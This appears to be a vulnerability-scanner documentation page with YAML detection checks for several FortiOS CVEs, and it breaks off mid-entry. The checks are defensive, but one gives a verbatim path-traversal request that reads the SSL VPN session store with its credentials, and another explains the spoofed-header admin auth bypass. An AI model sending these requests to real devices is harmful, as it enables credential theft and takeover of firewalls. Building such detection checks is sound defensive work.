FortiOS — 6 vulnerability checks
noctis ships 6 vulnerability checks for FortiOS, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
FortiOS 5.2.3 ZebOS routing shell without authentication
| CVE | CVE-2015-7361 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | auth-bypass — Auth bypass |
| Services | unknown, eristwoguns, telnet |
| Detection | set_var, tcp_open, tcp_send, sleep, tcp_close, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/fortios/CVE-2015-7361.yaml |
FortiOS 5.2.3 configured for High Availability with the HA dedicated management interface enabled exposes the internal ZebOS routing shell (TCP 2650) without authentication, giving any attacker who can reach that interface a shell on the firewall's routing engine. The test opens a session to the shell without logging in, types the read-only command "show version", and reports the service when the reply holds the ZebOS version block ("ZebOS version …" and "IP Infusion Inc."), which proves the command ran without a password. Nothing is changed on the device.
How noctis detects it
- Opens a persistent TCP/TLS socket
- Sends
show versionon the open socket - Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Checks
proof_okfor^true$→ finding QoD 97: FortiOS ZebOS routing shell accessible without authentication (CVE-2015-7361)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-7361
- https://www.fortiguard.com/psirt/FG-IR-15-020
- http://www.securitytracker.com/id/1033093
Feed source — tests/vulnerabilities/fortios/CVE-2015-7361.yaml
# FortiOS 5.2.3 — ZebOS routing shell reachable without authentication on the
# HA dedicated management interface (CVE-2015-7361, Fortinet FG-IR-15-020).
#
# On FortiOS 5.2.3 with High Availability configured and the HA dedicated
# management interface enabled, the internal ZebOS routing shell (IP Infusion's
# Zebra-derived CLI, TCP 2650) accepts connections and commands without any
# password. Fixed in FortiOS 5.2.4 (5.2.2 and lower, 5.0.x not affected).
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_fortigate_zebos_shell_cve_2015_7361.nasl
# (OID 1.3.6.1.4.1.25623.1.0.140112, GPL-2.0-only): connect, require "ZebOS" in
# the greeting, send "show version", report when the reply holds
# "ZebOS version" and "IP Infusion Inc".
#
# Detection (QoD 97 — read-only command run in the unauthenticated shell):
# 1. open a session on the matched port, read the greeting (no login);
# 2. type "show version";
# 3. the shell prints its version block: "ZebOS version …" and
# "… IP Infusion Inc." in what came back AFTER the command.
# "show version" only reads the running software version: nothing is
# configured, written or changed on the device.
#
# Better than the NASL (stated in the PR):
# - a shell whose greeting arrives late or is empty (the NASL exits clean
# when its single 128-byte read lacks "ZebOS") is still detected: the
# command is sent anyway and the reply decides;
# - output that arrives after the first short read is collected (wait,
# then read again) instead of a single recv;
# - the markers must be in the text received after the command, without a
# "Password:" prompt in it, so a password-protected vty whose greeting
# quotes the vendor, or a reflector, is not reported.
#
# services: nmap has no fingerprint for this shell, so 2650/tcp is reported as
# "unknown" (or its port-table name "eristwoguns", or "telnet" when the Telnet
# option negotiation is recognised).
# category: auth-bypass (CWE-287, missing authentication on the shell). No
# `intrusive` tag: the only command sent is read-only.
uid: 4a9c46df-c8cc-4bbc-ac8b-35d85af2753d
name: "FortiOS 5.2.3 ZebOS routing shell without authentication (CVE-2015-7361)"
description: |
FortiOS 5.2.3 configured for High Availability with the HA dedicated
management interface enabled exposes the internal ZebOS routing shell
(TCP 2650) without authentication, giving any attacker who can reach that
interface a shell on the firewall's routing engine.
The test opens a session to the shell without logging in, types the
read-only command "show version", and reports the service when the reply
holds the ZebOS version block ("ZebOS version …" and "IP Infusion Inc."),
which proves the command ran without a password. Nothing is changed on the
device.
cves: [CVE-2015-7361]
cvss: 9.3
severity: critical
category: auth-bypass
confidence_base: 0.20
tags: [fortinet, fortigate, fortios, zebos, ip-infusion, routing, shell, ha, auth-bypass]
services: [unknown, eristwoguns, telnet]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-7361"
- "https://www.fortiguard.com/psirt/FG-IR-15-020"
- "http://www.securitytracker.com/id/1033093"
steps:
# ---------------------------------------------------------------- set-up
- id: init-proof
action: set_var
var_name: proof_ok
var_value: false
- id: init-cmd
action: set_var
var_name: r_cmd
var_value: {response: ""}
- id: init-tail
action: set_var
var_name: r_tail
var_value: {response: ""}
# ----------------------------------------------------------- the session
- id: open
action: tcp_open
handle: zebos
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
- id: show-version
action: tcp_send
handle: zebos
condition: "conn.connected == true"
send: "show version\r\n"
timeout_secs: 10
store_as: r_cmd
# Slow shell: read again after a pause (a zero-byte write only triggers the
# read).
- id: wait-output
action: sleep
condition: "conn.connected == true"
duration_ms: 1500
- id: flush
action: tcp_send
handle: zebos
condition: "conn.connected == true"
send: ""
timeout_secs: 5
store_as: r_tail
- id: close
action: tcp_close
handle: zebos
# Everything received after the command (each reply is trim_end'ed, so join
# them with a newline). The greeting is kept out: only the command's answer
# counts.
- id: collect
action: script
condition: "conn.connected == true"
store_as: zb_out
code: |
let out = "";
for r in [r_cmd, r_tail] {
if type_of(r.response) == "string" { out += r.response + "\n"; }
}
out
- id: check-proof
action: script
condition: "conn.connected == true"
store_as: proof_ok
code: |
let t = tolower(zb_out);
strstr(t, "zebos version") != "" && strstr(t, "ip infusion") != "" && strstr(t, "password:") == ""
# ---------------------------------------------------------------- finding
- id: finding-shell
action: match
source: proof_ok
pattern: "^true$"
on_match:
finding:
title: "FortiOS ZebOS routing shell accessible without authentication (CVE-2015-7361)"
description: "The service on port {{port}} opened a ZebOS routing shell without asking for a password and ran the command \"show version\" typed by the scanner. On FortiGate this is the ZebOS shell of the HA dedicated management interface left open by FortiOS 5.2.3 (CVE-2015-7361); any attacker who reaches this port controls the routing engine."
remediation: "Upgrade FortiOS 5.2.3 to 5.2.4 or later. Until then, filter or do not route access to the HA dedicated management interface (TCP 2650)."
confidence_delta: 0.75
qod: 97
evidence: "Port {{port}}: typed 'show version' without logging in; the shell answered: {{zb_out}}"Fortinet FortiGate cookie parser buffer overflow (EGREGIOUSBLUNDER, vulnerable firmware build)
| CVE | CVE-2016-6909 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 70 |
| Feed | tests/vulnerabilities/fortios/CVE-2016-6909.yaml |
Detects a FortiGate firewall whose web administration interface runs a FortiOS firmware build affected by the cookie parser buffer overflow (FortiOS 4.x before 4.1.11, 4.2.13 and 4.3.9, and older releases), which lets an unauthenticated attacker run code on the firewall with a crafted HTTP cookie. The feed sends one GET request for "/" and reads the ETag header: FortiOS builds the ETag from the file's inode, size and timestamp, and the timestamp identifies the firmware build. The finding is reported when the timestamp is one of the 384 builds, across FortiGate models, known to be exploitable; it names the model and build. No cookie or exploit payload is sent.
How noctis detects it
- HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- Checks
fgt.buildforFortiGate-→ finding QoD 70: FortiGate firmware vulnerable to cookie parser buffer overflow (EGREGIOUSBLUNDER)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2016-6909
- https://www.fortiguard.com/psirt/FG-IR-16-023
- https://threatprotect.qualys.com/2016/08/25/fortigate-shadow-brokers-exploit-cve-2016-6909/
- https://github.com/nneonneo/eqgrp-free-file/blob/master/Firewall/EXPLOITS/EGBL/EGBL.config
- https://github.com/nneonneo/eqgrp-free-file/blob/master/Firewall/SCRIPTS/EGBL_AND_BLATSTING.txt
Feed source — tests/vulnerabilities/fortios/CVE-2016-6909.yaml
# Fortinet FortiGate (FortiOS 4.x before 4.1.11 / 4.2.13 / 4.3.9, older 3.x) —
# cookie parser buffer overflow in the web administration interface,
# CVE-2016-6909, a.k.a. EGREGIOUSBLUNDER (Shadow Brokers / Equation Group leak).
#
# Credit: detection logic adapted from Greenbone's
# `2016/gb_fortigate_FG-IR-16-023_remote.nasl` (GPL-2.0-only), which reads the
# ETag of the web interface's root page and looks its last field up in the list
# of firmware builds shipped in the leaked exploit's EGBL.config.
#
# Why no exploit proof: the bug is a stack overflow in the cookie parser of the
# web daemon. The only observable outcome of a probe is the management
# interface crashing or code running on the firewall, so there is no benign
# in-band or OOB proof. This is a firmware fingerprint (QoD 70), which the
# project accepts when no better method exists.
#
# Improvements over the source check:
# - the source check splits the ETag on "-" only, but the real FortiGate
# ETag is underscore-separated (`"728_4f_468ac251"`: inode, size, mtime in
# hex — the leak's operator notes show this exact header), so it never
# matches a real device. This feed accepts "_" and "-".
# - the ETag must be exactly three hex fields with an 8-digit last field,
# instead of "at least three fields".
# - the two bogus "example" entries of EGBL.config (82ffffff, 83ffffff),
# which the source list copies, are dropped.
# - the finding names the FortiGate model and firmware build that the ETag
# identifies (from EGBL.config), not just the raw value.
# Limitation: only builds listed in the leaked EGBL.config are recognised; other
# vulnerable builds (and FortiSwitch before 3.4.3) are not reported.
#
# Table format: "<etag mtime>=<model>/<build>" ("+" when two models share it).
uid: 11238eb8-af76-4528-92e6-56a0574eccd7
name: "Fortinet FortiGate cookie parser buffer overflow (EGREGIOUSBLUNDER, vulnerable firmware build)"
description: |
Detects a FortiGate firewall whose web administration interface runs a
FortiOS firmware build affected by the cookie parser buffer overflow
(FortiOS 4.x before 4.1.11, 4.2.13 and 4.3.9, and older releases), which lets
an unauthenticated attacker run code on the firewall with a crafted HTTP
cookie. The feed sends one GET request for "/" and reads the ETag header:
FortiOS builds the ETag from the file's inode, size and timestamp, and the
timestamp identifies the firmware build. The finding is reported when the
timestamp is one of the 384 builds, across FortiGate models, known to be
exploitable; it names the model and build. No cookie or exploit payload is
sent.
category: rce
cves: [CVE-2016-6909]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [fortinet, fortigate, fortios, egregiousblunder, shadow-brokers, buffer-overflow, version-check]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-6909"
- "https://www.fortiguard.com/psirt/FG-IR-16-023"
- "https://threatprotect.qualys.com/2016/08/25/fortigate-shadow-brokers-exploit-cve-2016-6909/"
- "https://github.com/nneonneo/eqgrp-free-file/blob/master/Firewall/EXPLOITS/EGBL/EGBL.config"
- "https://github.com/nneonneo/eqgrp-free-file/blob/master/Firewall/SCRIPTS/EGBL_AND_BLATSTING.txt"
steps:
- id: root
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: root
- id: lookup
action: script
condition: "type_of(root) == \"map\""
store_as: fgt
code: |
let etag = if type_of(root.headers) == "map" && type_of(root.headers["etag"]) == "string" { root.headers["etag"] } else { "" };
let p = eregmatch("^(?:W/)?\"([0-9a-fA-F]{1,8})[_-]([0-9a-fA-F]{1,8})[_-]([0-9a-fA-F]{8})\"$", etag);
let ts = if p.len() == 4 { tolower(p[3]) } else { "" };
let t = "|";
t += "44443fd4=60/0247|44c526c5=60/0319|45a3ea60=60/0405|45baacf4=60/0406|45f0af67=60/0410|47e0669f=60/0417|468abbad=60/0483|46c6166d=60/0564|";
t += "46df457c=60/0565|4602cf97=60/8424|463b99a6=60/8468|468cad93=60/8509|46d9607c=60/8552|47b355de=60/8688|489129e7=60/8845|443ede0d=60M/0247|";
t += "44c52c4f=60M/0319|452184d7=60M/0400|45a3f01e=60M/0405|45bab263=60M/0406|45f0b580=60M/0410|4602cfe5=60M/8424|463b9965=60M/8468|468cbb86=60M/8509|";
t += "46d9672a=60M/8552|471d2e73=60M/8597|47b355da=60M/8688|47e06d95=60M/0417|48912069=60M/8845|468ac1d0=60M/0483|46a7ad09=60M/0559|46c61f79=60M/0564|";
t += "46df4da9=60M/0565|4717beff=60M/0568|474b9480=60M/0572|47bcda2f=60M/0574|48b30fac=60M/0575|490bb64e=60M/0576|47a3f4ee=60M/0660|47df4682=60M/0662|";
t += "482b72f5=60M/0668|488fa68e=60M/0670|49064b4d=60M/0673|49ae1d20=60M/0677|487e7a57=60M/0726|48d43154=60M/0730|49273663=60M/0733|49ade40f=60M/0737|";
t += "49c45c70=60M/0740|49dd033a=60M/0741|4a4a955b=80C/0744|4ace863a=80C/0750|4b3185d6=80C/0752|4b7c8347=80C/0753|4cc1d9e0=80C/0754|4a384886=80C/0106|";
t += "4b0f40be=80C/0113|4a8de859=80C/0178|4ade3518=80C/0185|4b318abd=80C/0192|4b58d924=80C/0194|4ba3e7e6=80C/0196|4c22a3f3=80C/0204+300A/0204|4c2a8446=80C/0205|";
t += "4c88306f=80C/0207|4ca38e08=80C/0209|4d435410=80C/0213|4dfaabba=80C/0217|ff80c272=80C/0272|ff80c279=80C/0279|4c74581f=80C/0291|4d083087=80C/0303|";
t += "4d6d53b0=80C/0313|4d93bdf9=80C/0315|4dae0eb8=80C/0320|4dd6af49=80C/0324|4e2496ed=80C/0328|4d84169e=80C/0441|4e090fe3=80C/0458|44443ed6=200A/0247|";
t += "44c52afa=200A/0319|4522b784=200A/0400|45500063=200A/0403|45a3f02e=200A/0405|45bab272=200A/0406|45f0ba4d=200A/0410|460d7a1f=200A/0411|463aa4d2=200A/0413|";
t += "46806d0b=200A/0415|46cb9bfc=200A/0416|47e06dbe=200A/0417|48913626=200A/0418|45948af9=200A/0474|45a6f4c1=200A/0475|45ba73c7=200A/0477|45f1c561=200A/0479|";
t += "460d88a0=200A/0480|468ac251=200A/0483|468321e2=200A/0559|46c61fcf=200A/0564|46df4e86=200A/0565|4717c14d=200A/0568|474b9d17=200A/0572|47bcdc5c=200A/0574|";
t += "48b312ee=200A/0575|490bb6a0=200A/0576|47a3f5a7=200A/0660|47df4721=200A/0662|482b7090=200A/0668|488faa33=200A/0670|49064b4b=200A/0673|49ae254b=200A/0677|";
t += "49ffa204=200A/0678|487e7ecc=200A/0726|48d43248=200A/0730|492737d4=200A/0733|49adeaae=200A/0737|49c45cd3=200A/0740|49dd05b9=200A/0741|4a4aec23=200A/0744|";
t += "4acfd94e=200A/0750|4b328455=200A/0752|4b7c709c=200A/0753|4cc85189=200A/0754|499f3750=200A/0092|49db8b32=200A/0099|4a37e55a=200A/0106|4b16d0ce=200A/0113|";
t += "4a8de79b=200A/0178|4ade32fe=200A/0185|4b318bb4=200A/0192|4b58d9e4=200A/0194|4ba3e887=200A/0196|4c22a8f5=200A/0204|4c2a8e5f=200A/0205|4c882f51=200A/0207|";
t += "4ca39510=200A/0209|4d4359e1=200A/0213|4dfab1c1=200A/0217|ff2a0272=200A/0272|ff2a0279=200A/0279|4c746630=200A/0291|4d083771=200A/0303|4d6d57f7=200A/0313|";
t += "4d93c93e=200A/0315|4dae1c33=200A/0320|4dd6be44=200A/0324|4e24a35c=200A/0328|4d8404a9=200A/0441|4e08fc94=200A/0458|443ed96e=300A/0247|44c52523=300A/0319|";
t += "4522a9b7=300A/0400|454ff829=300A/0403|45a3eee4=300A/0405|45baafe1=300A/0406|45f0b528=300A/0410|460d78e2=300A/0411|463a9d82=300A/0413|468066d7=300A/0415|";
t += "46cb9803=300A/0416|47e06db5=300A/0417|48913369=300A/0418|45948486=300A/0474|45a6ed51=300A/0475|45ba6c80=300A/0477|45f1bee7=300A/0479|460d84ba=300A/0480|";
t += "468ac195=300A/0483|46831ae7=300A/0559|46c61d81=300A/0564|46df4be9=300A/0565|4717b955=300A/0568|474b9368=300A/0572|47bce039=300A/0574|48b309de=300A/0575|";
t += "490bb553=300A/0576|47a3eb7d=300A/0660|47df39f8=300A/0662|482b665b=300A/0668|488f9d9e=300A/0670|49063f0f=300A/0673|49ae0f61=300A/0677|49ff87ee=300A/0678|";
t += "487e6e64=300A/0726|48d42a0e=300A/0730|49272ac0=300A/0733|49adcf83=300A/0737|49c4428a=300A/0740|49dcea97=300A/0741|4a4ac8a2=300A/0744|4acfb690=300A/0750|";
t += "4b329ac9=300A/0752|4b7c0774=300A/0753|4cc85360=300A/0754|499f36b3=300A/0092|49db8a40=300A/0099|4a37e407=300A/0106|4b16ce6b=300A/0113|4a8de5fb=300A/0178|";
t += "4ade33db=300A/0185|4b318b1d=300A/0192|4b58d915=300A/0194|4ba3e740=300A/0196|4c2a87f3=300A/0205|4c88270e=300A/0207|4ca3911b=300A/0209|4d4348f3=300A/0213|";
t += "4dfaabc1=300A/0217|ff3a0272=300A/0272|ff3a0279=300A/0279|4c745c40=300A/0291|4d082d04=300A/0303|4d6d537d=300A/0313|4d93ba56=300A/0315|4dae0ccf=300A/0320|";
t += "4dd6af6d=300A/0324|4e2496d3=300A/0328|4d83fb16=300A/0441|4e08f34e=300A/0458|45218416=400A/0400|454ffff6=400A/0403|45a3f2a2=400A/0405|45bab65e=400A/0406|";
t += "45f0bb96=400A/0410|482b785e=400A/0668|490651ca=400A/0678|487e7fcd=400A/0726|48d438a9=400A/0730|49273e0c=400A/0733|49adecc7=400A/0737|49c471d3=400A/0740|";
t += "49dd07b8=400A/0741|4a4aeee3=400A/0744|499f381f=400A/0092|49db8b9d=400A/0099|4a37e5ed=400A/0106|4b16d150=400A/0113|4a8de874=400A/0178|4ade3634=400A/0185|";
t += "4b318c6f=400A/0192|4b58da4a=400A/0194|4ba3ea3a=400A/0196|4c22abac=400A/0204|4c2a8b64=400A/0205|4c88304b=400A/0207|4ca394e0=400A/0209|4d435b90=400A/0213|";
t += "4dfab44e=400A/0217|ff4a0272=400A/0272|ff4a0279=400A/0279|4c746382=400A/0291|4d083d66=400A/0303|4d6d6086=400A/0313|4d93cef4=400A/0315|4dae1d25=400A/0320|";
t += "4dd6bce0=400A/0324|4e24a478=400A/0328|4fd0169d=400A/0346|4d840fc3=400A/0441|4e08fe48=400A/0458|48d434a1=500A/0730|499f37d5=500A/0092|49db8c53=500A/0099|";
t += "4a37e619=500A/0106|4b16d14f=500A/0113|4a8de872=500A/0178|4ade35c8=500A/0185|4b318c8f=500A/0192|4b58d602=500A/0194|4ba3ea39=500A/0196|ff5a0272=500A/0272|";
t += "48ebf4e5=620B/0730|49a726b1=620B/0737|49c2f6eb=620B/0740|49d50ba6=620B/0741|4a4972e5=620B/0744|4acf7bf4=620B/0750|4b317cd0=620B/0752|4b7c83e9=620B/0753|";
t += "4cc07c21=620B/0754|499f3876=620B/0092|49db8a8c=620B/0099|4a37e799=620B/0106|4b16ce32=620B/0113|4a8de5dd=620B/0178|4ade354e=620B/0185|4b31890b=620B/0192|";
t += "4b58d766=620B/0194|4ba3e517=620B/0196|4c22a1af=620B/0204|4c2a8997=620B/0205|4c882a6e=620B/0207|4ca38e77=620B/0209|4d434d71=620B/0213|4dfaaa8e=620B/0217|";
t += "ff6b0272=620B/0272|ff6b0279=620B/0279|4c745805=620B/0291|4d0830cf=620B/0303|4d6d4f28=620B/0313|4d93c137=620B/0315|4dae0619=620B/0320|4dd6af65=620B/0324|";
t += "4e2494a1=620B/0328|4d8402ca=620B/0441|4e090c3c=620B/0458|443ed9bc=800/0247|44c524a6=800/0319|45217d85=800/0400|45a3e9c5=800/0405|45baac66=800/0406|";
t += "45f0aeca=800/0410|460d732c=800/0411|463a98c5=800/0413|46806671=800/0415|46cb95bb=800/0416|47e0676b=800/0417|48912cc2=800/0418|459484d8=800/0474|";
t += "45a6eda3=800/0475|45ba6ce1=800/0477|45f1bf6b=800/0479|460d8176=800/0480|468abbd8=800/0483|4683142d=800/0559|46c618cd=800/0564|46df475e=800/0565|";
t += "4717baf9=800/0568|474b9010=800/0572|47bcd6f0=800/0574|48b30c5e=800/0575|490bb4a5=800/0576|47a3e919=800/0660|47df3b36=800/0662|482b67a1=800/0668|";
t += "488f9d2b=800/0670|49063c22=800/0673|49ae068e=800/0677|49ff8382=800/0678|487e6b1d=800/0726|48d4212c=800/0730|4927278f=800/0733|49adc356=800/0737|";
t += "49c43b4e=800/0740|49dcde89=800/0741|4a4ac12f=800/0744|4acfae3e=800/0750|4b32925e=800/0752|4b7bff1f=800/0753|4cc8529a=800/0754|499f3690=800/0092|";
t += "49db8a5a=800/0099|4a37e3fe=800/0106|4b16ce96=800/0113|4a8de623=800/0178|4ade32d7=800/0185|4b318927=800/0192|4b58d762=800/0194|4ba3e573=800/0196|";
t += "4c229fca=800/0204|4c2a82c9=800/0205|4c882661=800/0207|4ca391ed=800/0209|4d434fb7=800/0213|4dfaabbb=800/0217|ff800272=800/0272|ff800279=800/0279|";
t += "4c74569a=800/0291|4d082af0=800/0303|4d6d5188=800/0313|4d93ba54=800/0315|4dae0da0=800/0320|4dd6af1e=800/0324|4e2496ea=800/0328|4d84181e=800/0441|";
t += "4e090fbe=800/0458|45a6edd5=3600/0475|45217ec9=60/0400|49064d61=5000/0673|46d96863=60M/0416|49d11af3=60B/0098|46cb9c1e=1000A/0416|4acff334=3600A/0750|";
let hit = if ts != "" { eregmatch("\\|" + ts + "=([^|]+)\\|", t) } else { [] };
let builds = "";
if hit.len() == 2 {
for b in split(hit[1], "+") {
let mb = split(b, "/");
if builds != "" { builds += " or "; }
builds += "FortiGate-" + mb[0] + " build " + mb[1];
}
}
#{ vulnerable: builds != "", etag: etag, build: builds }
- id: vulnerable-build
action: match
condition: "type_of(fgt) == \"map\" && fgt.vulnerable == true"
source: fgt.build
pattern: "FortiGate-"
on_match:
finding:
title: "FortiGate firmware vulnerable to cookie parser buffer overflow (EGREGIOUSBLUNDER)"
description: "The ETag of the web interface identifies a FortiGate firmware build affected by the FortiOS cookie parser buffer overflow (FortiOS 4.x before 4.1.11, 4.2.13 and 4.3.9, and older releases), which allows an unauthenticated attacker to execute code on the firewall with a crafted HTTP request."
remediation: "Upgrade to FortiOS 5.x, or to 4.3.9 or later on models that cannot run FortiOS 5.x, and restrict access to the administration interface to trusted networks."
confidence_delta: 0.45
qod: 70
evidence: "ETag {{fgt.etag}} identifies {{fgt.build}}"Fortinet FortiOS SSL VPN Credentials Disclosure
| CVE | CVE-2018-13379 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/fortios/CVE-2018-13379.yaml |
Tests Fortinet FortiOS SSL VPN for CVE-2018-13379 pre-authentication path traversal. Requests /remote/fgt_lang with a traversal payload pointing at the SSL VPN session store (/dev/cmdb/sslvpn_websession) and matches the leaked session-record structure — a null-framed username field adjacent to the recorded client source IP. A patched device returns a benign error and must not leak the file.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.0 - Checks
ws_resp.bannerfor\x00[A-Za-z0-9._\-]{2,32}\x00+\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}→ finding QoD 75: SSL VPN session store leaked via /remote/fgt_lang traversal (CVE-2018-13379): …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-13379
- https://www.fortiguard.com/psirt/FG-IR-18-384
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/fortios/CVE-2018-13379.yaml
# Fortinet FortiOS SSL VPN Credentials Disclosure / Path Traversal — CVE-2018-13379
#
# FortiOS 5.4.6-5.4.12, 5.6.3-5.6.7 and 6.0.0-6.0.4 (SSL VPN web portal, FG-IR-18-384)
# expose /remote/fgt_lang, which fails to sanitise the `lang` parameter. An
# unauthenticated attacker can supply a path-traversal sequence to read any file on
# the device, most damagingly /dev/cmdb/sslvpn_websession — the SSL VPN session store,
# which holds active usernames and (in many firmwares) cleartext credentials.
#
# Detection: request the vulnerable path verbatim and confirm the response is the raw
# session store rather than the normal language JSON. A vulnerable target returns the
# binary sslvpn_websession record layout (a null-framed username field followed by the
# recorded client source IP) — a genuine, reproducible consequence. A patched target
# returns a benign error and does not leak the file.
#
# tcp_connect is required: reqwest normalises the %2e/../ sequences away before sending.
uid: 560610f2-1ad3-4886-b639-8c7c092372c9
name: "Fortinet FortiOS SSL VPN Credentials Disclosure (CVE-2018-13379)"
description: |
Tests Fortinet FortiOS SSL VPN for CVE-2018-13379 pre-authentication path traversal.
Requests /remote/fgt_lang with a traversal payload pointing at the SSL VPN session
store (/dev/cmdb/sslvpn_websession) and matches the leaked session-record structure —
a null-framed username field adjacent to the recorded client source IP. A patched
device returns a benign error and must not leak the file.
cves: [CVE-2018-13379]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: file-read
tags: [fortinet, fortios, ssl-vpn, path-traversal, lfi, credentials-disclosure, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-13379"
- "https://www.fortiguard.com/psirt/FG-IR-18-384"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Path traversal read of the SSL VPN session store ─────────────────────
# Verbatim HTTP/1.0 over a raw socket — reqwest would collapse the ../ sequence.
- id: fgt-lang-traversal
action: tcp_connect
port: "{{port}}"
send: "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: ws_resp
# The sslvpn_websession record layout: a null-framed username token immediately
# followed (after null padding) by the recorded client source IPv4. This structure
# is present on any vulnerable device that has an SSL VPN session; the normal
# language response (var fgt_lang={...} JSON) and the patched 403 do not contain it.
- id: websession-match
action: match
source: ws_resp.banner
pattern: "\\x00[A-Za-z0-9._\\-]{2,32}\\x00+\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SSL VPN session store leaked via /remote/fgt_lang traversal (CVE-2018-13379): {{ws_resp.banner}}"
stop: trueFortinet FortiOS SSL VPN Out-of-Bounds Write Pre-Auth RCE
| CVE | CVE-2024-21762 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, match · highest QoD 70 |
| Feed | tests/vulnerabilities/fortios/CVE-2024-21762.yaml |
Tests Fortinet FortiOS / FortiProxy for CVE-2024-21762 via version fingerprinting. Requests the SSL VPN login page and matches the embedded version string against the affected range. Versions below 6.4.15 / 7.0.16 / 7.2.8 / 7.4.3 are flagged. Also queries the firmware API endpoint for a higher-confidence version confirmation.
How noctis detects it
- HTTP(S) request
GET /remote/login - Checks
login_resp.bodyforFortiGate\s+(7\.2\.[0-7]|7\.4\.[0-2]|7\.0\.([0-9]|1[0-5])|6\.4\.(1[0-…→ finding QoD 70: FortiOS version in affected range for CVE-2024-21762 (from login page): …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-21762
- https://www.fortiguard.com/psirt/FG-IR-24-015
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a
Feed source — tests/vulnerabilities/fortios/CVE-2024-21762.yaml
uid: 55b5d3d6-203a-4127-a185-0893fbfcc23c
name: "Fortinet FortiOS SSL VPN Out-of-Bounds Write Pre-Auth RCE (CVE-2024-21762)"
description: |
Tests Fortinet FortiOS / FortiProxy for CVE-2024-21762 via version fingerprinting.
Requests the SSL VPN login page and matches the embedded version string against the
affected range. Versions below 6.4.15 / 7.0.16 / 7.2.8 / 7.4.3 are flagged.
Also queries the firmware API endpoint for a higher-confidence version confirmation.
cves: [CVE-2024-21762]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [fortinet, fortios, fortiproxy, ssl-vpn, out-of-bounds-write, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-21762"
- "https://www.fortiguard.com/psirt/FG-IR-24-015"
- "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a"
steps:
- id: login-probe
action: http_request
method: GET
path: /remote/login
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: login_resp
- id: version-in-login
action: match
source: login_resp.body
pattern: "FortiGate\\s+(7\\.2\\.[0-7]|7\\.4\\.[0-2]|7\\.0\\.([0-9]|1[0-5])|6\\.4\\.(1[0-4]|[0-9])|6\\.[02]\\.)"
condition: "login_resp.status == 200"
on_match:
finding:
confidence_delta: 0.50
qod: 70
evidence: "FortiOS version in affected range for CVE-2024-21762 (from login page): {{login_resp.body}}"Fortinet FortiOS/FortiProxy Admin REST API Auth Bypass
| CVE | CVE-2022-40684 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/fortios/CVE-2022-40684.yaml |
Tests Fortinet FortiOS, FortiProxy and FortiSwitchManager for an authentication bypass in the administrative REST API. A crafted "Forwarded:" header claiming a trusted loopback origin, together with the internal "Report Runner" User-Agent, lets an unauthenticated request be processed against admin endpoints such as /api/v2/cmdb/system/admin. The safe GET probe detects whether the unauthenticated request is processed (200 + admin-object JSON = vulnerable) or rejected (401/403 = patched). CISA KEV, exploited in the wild.
How noctis detects it
- HTTP(S) request
GET /api/v2/cmdb/system/admin - Checks
admin_resp.bodyfor"accprofile"\s*:\s*"super_admin".*"status"\s*:\s*"success"→ finding QoD 75: Auth bypass confirmed — unauthenticated GET /api/v2/cmdb/system/admin processed (HTTP …), admin account object returned: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-40684
- https://www.fortiguard.com/psirt/FG-IR-22-377
- https://www.horizon3.ai/attack-research/attack-blogs/cve-2022-40684-a-fortinet-authentication-bypass/
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40684.yaml
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/fortios/CVE-2022-40684.yaml
# Fortinet FortiOS / FortiProxy / FortiSwitchManager Admin API Auth Bypass — CVE-2022-40684
#
# An authentication-bypass-by-alternate-path flaw in the administrative REST API.
# An unauthenticated attacker can reach admin endpoints (e.g. /api/v2/cmdb/system/admin)
# by spoofing a trusted internal origin: a crafted "Forwarded:" header (claiming a
